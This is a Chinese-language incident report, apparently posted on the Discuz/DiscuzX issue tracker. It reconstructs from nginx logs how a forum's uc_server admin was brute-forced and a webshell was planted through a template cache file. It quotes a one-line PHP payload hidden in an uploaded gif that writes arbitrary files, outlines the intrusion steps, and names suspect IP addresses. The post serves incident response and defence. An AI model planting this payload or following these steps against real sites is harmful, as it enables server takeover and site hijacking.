uc_server 被python脚本跑字典导致爆库

今天发现管理员后台登陆不上去, 仔细检查后, 在`config_global.php`发现被插入恶意代码, 研究后暂时猜测是uc_server/被爆破了, 并未使用简单密码, 含有大小写和数字的那种密码. 从发现到现在已经将近24小时没睡觉了, 一直在处理后续工作. 整站大约2-4个月前刚做过一次全面更新, X3.4.

网站被挂马, 被开了shell权限, 被用于搜索引擎劫持, 推广非法信息. 已经找到疑似入侵者真实IP, 准备回国去当地报网警了.

目前不了解为什么uc_server密码错误锁定机制没有被触发, (手动使用浏览器输入错误密码会被锁定)也不知道是因为我们没安装某些补丁, 还是有人已经破解了防爆破机制, 目前所有信息均为猜测, 根据nginx log来看, 整个入侵过程, 从第一次成功登录UCenter到使用模板缓存挂的网马, 不超过15分钟.

目前唯一的未知, 是入侵者如何提前预知它上传的shell的模板缓存文件的文件名,`data/template/14_11_common_header_forum_case.tpl.php`. 最开始以为是某个恶意模板通过自己自行生成的文件(基于data/template文件夹特性猜测), 但近期除了从dismall购买过一个正规渠道的手机模板之外, 并未有其他操作, 希望懂的大神可以提供入侵和防御思路.

以下是部分nginx被爆破的log, 以及个人根据nginx log分析出来的入侵者行踪.

![python跑字典脚本](https://images.gitee.com/uploads/images/2019/1227/224409_7438a9b6_4791915.png "262O4_K71BPGB(D}2S)W(TI.png")

猜测入侵流程:
- 爆破uc_server/admin.php
- 修改随机用户权限(这里选择的是一个VIP权限用户), 不知道为什么不直接使用管理员账号操作.
- 上传恶意gif, 尾部含有php的copy函数
- 上传第二个恶意gif(入侵者自行删除, 不清楚内容)
- 通过未知手段, 在./data/template文件夹生成网马shell
- 取得shell权限.

个人猜测的理论上来讲, uc_server的爆破应该无用, 或者不是必需品, 入侵者已经有能力上传gif(全站没有限制gif上传), 没有必要再需要取得ucenter创始人权限. 目前不知道爆破uc_server的目的, 也不知道爆破uc_server是否为前置条件.

```

120.220.44.82 山东真实IP
202.57.44.43 菲律宾代理
119.23.220.45 杭州阿里巴巴 阿里云 Python爆库机器人

之前bot扫描时间12/16号开始, 之前可能还有

2019-12-23 23:34:45 第一次成功登录UC_CENTER
2019-12-23 23:35:52 第一次找到UID 1960用户profile 山东IP
2019-12-23 23:36:13 确认已经登录进UC_SERVER 修改1960用户信息
2019-12-23 23:36:54 第一次回帖操作 上传misc.php swfupload gif文件
2019-12-23 23:37:02 第一次命中附件gif文件 山东IP:
data/attachment/forum/201912/24/023654yy13wckyioz91bko.gif
文件尾部含有恶意代码:
<?= var_dump/**/(copy/**/($_POST[1],$_POST[2]));
2019-12-23 23:37:19 后台UC Center 添加app操作
2019-12-23 23:39:13 第二次回帖操作, 后被修改掉
2019-12-23 23:39:18 疑似第二次上传操作
2019-12-23 23:39:23 疑似访问第二次上传的文件, 已自行删除:
data/attachment/forum/201912/24/023918ooy4454wtztqo8zq.gif
2019-12-23 23:39:47 后台UC Center 再次添加app操作
2019-12-23 23:40:32 第一次直接命中模板缓存网马:
/data/template/14_11_common_header_forum_case.tpl.php
2019-12-23 23:41:21 删除第二次上传的文件
2019-12-23 23:43:00 – 23:46:00 浏览部分文件夹
2019-12-23 23:49:01更换使用菲律宾IP命中模板缓存网马

```

Discuz/DiscuzX

内容风险标识

评论 (10)

Discuz/DiscuzX .gitee-modal { width: 500px !important; }

内容风险标识